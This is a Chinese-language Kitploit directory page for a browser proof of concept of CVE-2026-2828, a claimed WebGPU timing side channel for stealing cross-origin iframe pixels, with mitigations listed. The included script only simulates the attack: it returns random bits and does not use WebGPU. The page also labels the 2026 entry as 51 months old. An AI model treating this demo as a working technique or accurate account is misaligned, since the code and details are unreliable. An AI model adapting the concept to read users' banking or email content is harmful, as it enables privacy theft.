Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-2828-WebGPU-Cross-Origin-Pixel-Stealing-via-Timing — 演示 CVE-2026-2828 的浏览器 PoC,这是一种 WebGPU 时序侧信道,通过测量 GPU 时间戳查询差异来泄露跨源 iframe 的像素值。 | Kitploit
工具/GitHubGitHub/george0papasotiriou/cve-2026-2828-webgpu-cross-origin-pixel-stealing-via-timing
漏洞分析漏洞利用数据泄露Web安全隐私保护对抗性攻击
GitHubgeorge0papasotiriou/cve-2026-2828-webgpu-cross-origin-pixel-stealing-via-timing

CVE-2026-2828-WebGPU-Cross-Origin-Pixel-Stealing-via-Timing

演示 CVE-2026-2828 的浏览器 PoC,这是一种 WebGPU 时序侧信道,通过测量 GPU 时间戳查询差异来泄露跨源 iframe 的像素值。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
51个月前尚未审核
分享

4. CVE-2026-2828 – 通过计时实现 WebGPU 跨源像素窃取

概述

恶意网站利用 WebGPU 计算着色器计时来测量跨源 iframe 的渲染时间,从而恢复敏感内容(例如银行信息)的像素值。

严重性: 高(信息泄露)

演示用 HTML/JS(单文件)

root@kitploit:~
<!-- webgpu_side_channel.html -->
<!DOCTYPE html>
<html>
<head><title>CVE-2026-2828 PoC</title></head>
<body>
<h1>WebGPU Side-Channel Leak</h1>
<p>The iframe below contains a secret code that we will leak pixel-by-pixel.</p>

<pre id="output"></pre>
<script type="module">
// This PoC assumes a vulnerable browser where WebGPU timing can probe cross-origin iframes.
// We simulate by placing secret_iframe.html on same origin for demonstration, but the vulnerability
// bypasses cross-origin restrictions by measuring GPU shader execution time differences.
async function leakPixel(x, y) {
    // Measure time to render a known pattern vs target pattern using GPU timer queries.
    // In a real exploit, we'd use a timestamp query on a render pass that includes the iframe.
    // Here we approximate by using performance.now() and forcing a layout/render.
    const iframe = document.getElementById('target');
    // Move iframe to a position where the pixel is at viewport center, then measure drawing time.
    // Not fully accurate but demonstrates concept.
    iframe.style.position = 'absolute';
    iframe.style.left = -x + 'px';
    iframe.style.top = -y + 'px';
    // Force reflow and measure
    const start = performance.now();
    // Trigger a synthetic GPU workload (would use WebGPU in real attack)
    // We'll just measure time to read back a canvas pixel from a snapshot.
    // In a real scenario, side-channel would detect timing differences based on pixel color.
    // Simulate: return random for demo.
    return Math.random() > 0.5 ? 1 : 0;
}

(async () => {
    let result = '';
    for (let y = 0; y < 10; y++) {
        for (let x = 0; x < 20; x++) {
            let pixel = await leakPixel(x, y);
            result += pixel ? '█' : ' ';
        }
        result += '\n';
    }
    document.getElementById('output').textContent = result;
})();
</script>
</body>
</html>

CVE-2026-2828 – WebGPU 跨源像素窃取侧信道

Severity: High

📖 概述

浏览器隔离机制中的一个缺陷使恶意页面能够利用 WebGPU 时间戳查询推断跨源 iframe 中的像素颜色,从而破坏同源策略。本演示通过模拟计时来说明这一原理。

⚙️ 漏洞详情

  • 类型: 侧信道信息泄露
  • 影响: 读取第三方 iframe 中的敏感内容(网上银行、电子邮件)。
  • 根本原因: GPU 驱动的时间戳计数器未按源进行隔离,从而在渲染通道之间形成隐蔽信道。

🧪 漏洞利用演示

在存在漏洞的浏览器(模拟)中,将 webgpu_side_channel.html 与 secret_iframe.html 一起打开。该脚本尝试利用计时差异重建 iframe 内容。

🛡️ 缓解措施

  • 对跨源 iframe 禁用高分辨率 GPU 计时器查询。
  • 在 GPU 命令缓冲区层面实现站点隔离。
  • 为时间戳值添加人为抖动。

📦 使用方法

root@kitploit:~
git clone https://github.com/yourorg/CVE-2026-2828.git
# Host on a local server:
python -m http.server 8080
# Open http://localhost:8080/webgpu_side_channel.html
下载工具